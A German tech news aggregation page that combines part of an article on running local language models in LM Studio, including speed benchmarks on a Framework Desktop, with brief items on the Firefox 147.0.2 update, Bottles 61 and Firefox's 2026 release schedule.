Der Screenshot zeigt die „My Models“-Ansicht in LM Studio mit einer Liste lokal installierter Sprachmodelle. Oben ist das Models-Verzeichnis „/home/kofler/.lmstudio/models“ sowie ein Suchfeld zum Filtern zu sehen. In der Tabelle werden Architektur, Parameter, Publisher, Modellname, Quantisierung, Größe und Änderungsdatum angezeigt, inklusive Action-Buttons pro Eintrag. Unten steht, dass 6 lokale Modelle insgesamt 202,97 GB belegen.
Überblick über die heruntergeladenen Sprachmodelle

Debugging und Server-Betrieb

In der Ansicht Developer können Sie Logging-Ausgaben lesen. LM Studio verwendet wie Ollama und die meisten anderen KI-Oberflächen das Programm llama.cpp zur Ausführung der lokalen Modelle. Allerdings gibt es von diesem Programm unterschiedliche Versionen für den CPU-Betrieb (langsam) sowie für diverse GPU-Bibliotheken.

In dieser Ansicht können Sie den in LM Studio integrierten REST-Server aktivieren. Damit können Sie z.B. mit eigenen Python-Programmen oder mit dem VS-Code-Plugin Continue Prompts an LM Studio senden und dessen Antwort verarbeiten. Standardmäßig kommt dabei der Port 1234 um Einsatz, wobei der Zugriff auf den lokalen Rechner limitiert ist. In den Server Settings können Sie davon abweichende Einstellungen vornehmen.

Der Screenshot zeigt LM Studio im Developer-Modus mit geöffnetem Dialog „Server Settings“. Links ist der Status „Running“ zu sehen und oben die lokale URL „http://127.0.0.1:1234“, unter der der Server erreichbar ist. Im Einstellungsfenster werden Optionen wie Server-Port, CORS, Local Network sowie Just-in-Time-Model-Loading und Auto-Unload per Schalter konfiguriert. Im Hintergrund laufen Developer-Logs mit Modell- und Tokenizer-Parametern.
Logging-Ausgaben und Server-Optionen
Der Screenshot zeigt das LM‑Studio-Menü „Mission Control“ mit den „Runtime Extension Packs“ unter Linux. Links ist „Runtime“ ausgewählt, in der Mitte werden ROCm-, CPU- und Vulkan‑„llama.cpp“-Engines samt Versionsständen gelistet. Für ROCm gibt es einen „Download and Install“-Button, für CPU ein Update. Rechts sind installierte Pakete und die GGUF‑Engine-Auswahl (Vulkan llama.cpp) sowie Auto‑Update-Optionen sichtbar.
Hinter den Kulissen greift LM Studio auf »llama.cpp« zurück

Praktische Erfahrungen am Framework Desktop

Auf meinem neuen Framework Desktop mit 128 GiB RAM habe ich nun diverse Modelle ausprobiert. Die folgende Tabelle zeigt die erzielte Output-Geschwindigkeit in Token/s. Beachten Sie, dass die Geschwindigkeit spürbar sinkt wenn viel Kontext im Spiel ist (größere Code-Dateien, längerer Chat-Verlauf).

Sprachmodell                  MoE        Parameter    Quant.      Token/s
-------------                 -----     ----------   ---------   --------
deepseek-r1-distill-qwen-14b  nein         14 Mrd.    Q4_K_S           22
devstral-small-2-2512         nein         25 Mrd.    Q4_K_M           13
glm-4.5-air                   ja          110 Mrd.    Q3_K_L           25
gpt-oss-20b                   ja           20 Mrd.    MXFP4            65
gpt-oss-120b                  ja          120 Mrd.    MXFP4            48
nouscoder-14b                 nein         14 Mrd.    Q4_K_S           22
qwen3-30b-a3b                 ja           30 Mrd.    Q4_K_M           70
qwen3-next-80b-83b            ja           80 Mrd.    Q4_K_XL          40
seed-oss-36b                  nein         36 Mrd.    Q4_K_M           10

Normalerweise gilt: je größer das Sprachmodell, desto besser die Qualität, aber desto kleiner die Geschwindigkeit. Ein neuer Ansatz durchbricht dieses Muster. Bei Mixture of Expert-Modellen (MoE-LLMs) gibt es Parameterblöcke für bestimmte Aufgaben. Bei der Berechnung der Ergebnis-Token entscheidet das Modell, welche »Experten« für den jeweiligen Denkschritt am besten geeignet sind, und berücksichtigt nur deren Parameter.

Ein populäres Beispiel ist das freie Modell GPT-OSS-120B. Es umfasst 117 Milliarden Parameter, die in 36 Ebenen (Layer) zu je 128 Experten organisiert sind. Bei der Berechnung jedes Output Tokens sind in jeder Ebene immer nur vier Experten aktiv. Laut der Modelldokumentation sind bei der Token Generation immer nur maximal 5,1 Milliarden Parameter aktiv. Das beschleunigt die Token Generation um mehr als das zwanzigfache:

Welches ist nun das beste Modell? Auf meinem Rechner habe ich mit dem gerade erwähnten Modell GPT-OSS-120B sehr gute Erfahrungen gemacht. Für Coding-Aufgaben funktionieren auch qwen3-next-80b-83b und glm-4.5-air gut, wobei letzteres für den praktischen Einsatz schon ziemlich langsam ist.

Quellen/Links

Mozilla veröffentlicht Sicherheits-Update Firefox 147.0.2

27. Januar 2026 um 20:22

Mozilla hat Firefox 147.0.2 veröffentlicht und behebt damit mehrere Probleme der Vorgängerversion. Auch Sicherheitslücken wurden behoben.

Download Mozilla Firefox 147.0.2

Mozilla hat Firefox 147.0.2 für Windows, macOS und Linux veröffentlicht und behebt damit mehrere Sicherheitslücken, diverse potenzielle Absturzursachen sowie mehrere Webkompatibilitätsprobleme, darunter eines, welches unerwartete WebAuthn-Anfragen verursachen konnte.

Websites konnten vom Safe Browsing-Schutz unter Umständen fälschlicherweise als schädlich erkannt werden.

Mehrere Probleme wurden auch in Zusammenhang mit der Unterstützung für die XDG Base Directory-Spezifikation unter Linux behoben.

Außerdem zeigten Zertifikats-Fehlerseiten in manchen Fällen den Port doppelt an.

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Bottles 61 bringt mit Eagle ein mächtiges Analysewerkzeug

Von: MK
27. Januar 2026 um 06:00

Die neue Version von Bottles setzt einen deutlichen Schwerpunkt auf mehr Transparenz. Das Projekt erweitert seine Umgebung für Windows Programme auf Linux um ein Werkzeug, das Nutzern vor dem Start einer Datei wichtige Hinweise liefert. Das neue Analysewerkzeug Eagle untersucht ausgewählte Dateien sehr genau. Das Tool erkennt typische Installer und öffnet deren Inhalt in einer […]

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Firefox: Release-Termine 2026

26. Januar 2026 um 20:20

Dieser Artikel fasst die Veröffentlichungstermine für Firefox und Firefox ESR im Jahr 2026 übersichtlich zusammen.

Neue Major-Releases von Firefox erscheinen in der Regel alle vier Wochen. Auf diese Weise erreichen Neuerungen schneller den Endnutzer und man muss nicht viele Monate auf bereits implementierte Funktionen warten. Dies sind die Veröffentlichungstermine von Firefox für das Jahr 2026.

Das sind die Firefox Release-Termine 2026

Firefox 147, Firefox ESR 140.7, Firefox ESR 115.32
13. Januar 2026 (5 Wochen nach Firefox 146)

Firefox 148, Firefox ESR 140.8, Firefox ESR 115.33
24. Februar 2026 (6 Wochen nach Firefox 147)

Firefox 149, Firefox ESR 140.9
24. März 2026 (4 Wochen nach Firefox 148)

Firefox 150, Firefox ESR 140.10
21. April 2026 (4 Wochen nach Firefox 149)

Firefox 151, Firefox ESR 140.11
19. Mai 2026 (4 Wochen nach Firefox 150)

Firefox 152, Firefox ESR 140.12
16. Juni 2026 (4 Wochen nach Firefox 151)

Firefox 153, Firefox ESR 153.0, Firefox ESR 140.13
21. Juli 2026 (5 Wochen nach Firefox 152)

Firefox 154, Firefox ESR 153.1, Firefox ESR 140.14
18. August 2026 (4 Wochen nach Firefox 153)

Firefox 155, Firefox ESR 153.2, Firefox ESR 140.15
15. September 2026 (4 Wochen nach Firefox 154)

Firefox 156, Firefox ESR 153.3
13. Oktober 2026 (4 Wochen nach Firefox 155)

Firefox 157, Firefox ESR 153.4
10. November 2026 (4 Wochen nach Firefox 156)

Firefox 158, Firefox ESR 153.5
8. Dezember 2026 (4 Wochen nach Firefox 157)

Firefox 159, Firefox ESR 153.6
19. Januar 2027 (6 Wochen nach Firefox 158)

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